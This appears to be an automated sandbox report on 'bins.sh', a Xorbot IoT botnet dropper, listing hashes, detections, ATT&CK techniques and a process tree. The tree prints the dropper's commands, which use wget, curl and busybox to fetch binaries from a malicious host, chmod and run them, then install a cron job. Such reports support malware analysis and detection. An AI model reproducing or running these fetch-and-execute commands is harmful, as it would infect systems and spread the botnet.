xorbot | 3ee572774d84f42ca24f2f7e1d041f6c54a2b1595c83ba591c6f60af4f5095cb

Analysis

max time kernel
149s
max time network
161s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/02/2025, 17:11

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General

Target

bins.sh
Size

10KB
MD5

0aec7763cd1e0b0ff0816e8a61703e14
SHA1

34d8cc1b3dde4180fc98bb42337526cd285596f7
SHA256

3ee572774d84f42ca24f2f7e1d041f6c54a2b1595c83ba591c6f60af4f5095cb
SHA512

5f0b46c702a374991819ff3d43141d24ad4b6bdbf112848d05cff833a9e37ed2e0f10dd9705e1da911c169a617fbd504806c616a73337888e4a54ee1366ff0b7
SSDEEP

96:YaS+FFFlFcMLLnRL049GDLrHZcUlnBRn7NY8F7XsL3nL4qPjOxLwsOtJb3li6PQ0:lhaOGib0xCruW

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1792) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
758	chmod
768	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH	759	bins.sh
/tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd	769	bins.sh

Renames itself 1 IoCs

pid	Process
770	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.AYgFvU	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/846/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/944/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/165/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/22/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/292/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/600/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/889/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/16/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/133/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/647/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/800/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/801/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/4/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/590/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/905/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/914/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/5/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/107/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/134/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/841/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/874/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/74/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/872/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/930/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/7/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/24/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/267/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/806/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/819/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/838/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/851/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/894/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/28/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/814/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/892/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/23/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/27/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/818/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/880/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/902/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/2/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/15/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/805/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/857/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/871/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/941/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/943/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/14/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/26/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/817/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/861/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/883/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/20/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/796/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/828/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/829/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/830/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/8/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/581/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/41/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/649/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
File opened for reading	/proc/909/cmdline	PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd

System Network Configuration Discovery 1 TTPs 7 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
753	busybox
762	wget
765	curl
767	busybox
779	wget
658	wget
720	curl

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH	wget
File opened for modification	/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH	curl
File opened for modification	/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH	busybox
File opened for modification	/tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd	wget
File opened for modification	/tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:650
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:652
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:658
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:720
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:753
- /bin/chmod
  chmod 777 PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  ./PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  PID:759
- /bin/rm
  rm PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH
  2⤵
  PID:761
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:762
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:765
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - System Network Configuration Discovery
  PID:767
- /bin/chmod
  chmod 777 PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  ./PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:769
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:771
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:772
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:773
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:774
- /bin/rm
  rm PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd
  2⤵
  PID:776
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Pms3WTDY7UrDojH8BdAAd4auYwS3NfuF2G
  2⤵
  - System Network Configuration Discovery
  PID:779

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.AYgFvU

Filesize
210B

MD5
40b5cd85670ce6e237d162949f723e7a

SHA1
c58d70c98735cd0cbf2a4171bd4dc003e5af2f38

SHA256
516f5544af172b988d4775d9f9b8d5f63f8947d5fd2ec350fd87c10fdc69a059

SHA512
856b2f51564e7e712023c30876f80dfbec337cad1dc2bb15323bfd4615077f3a8222ee85827a49e84604cf5eb3ddbaccd7e70142e97a0a5650d6d2152780e6f2

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads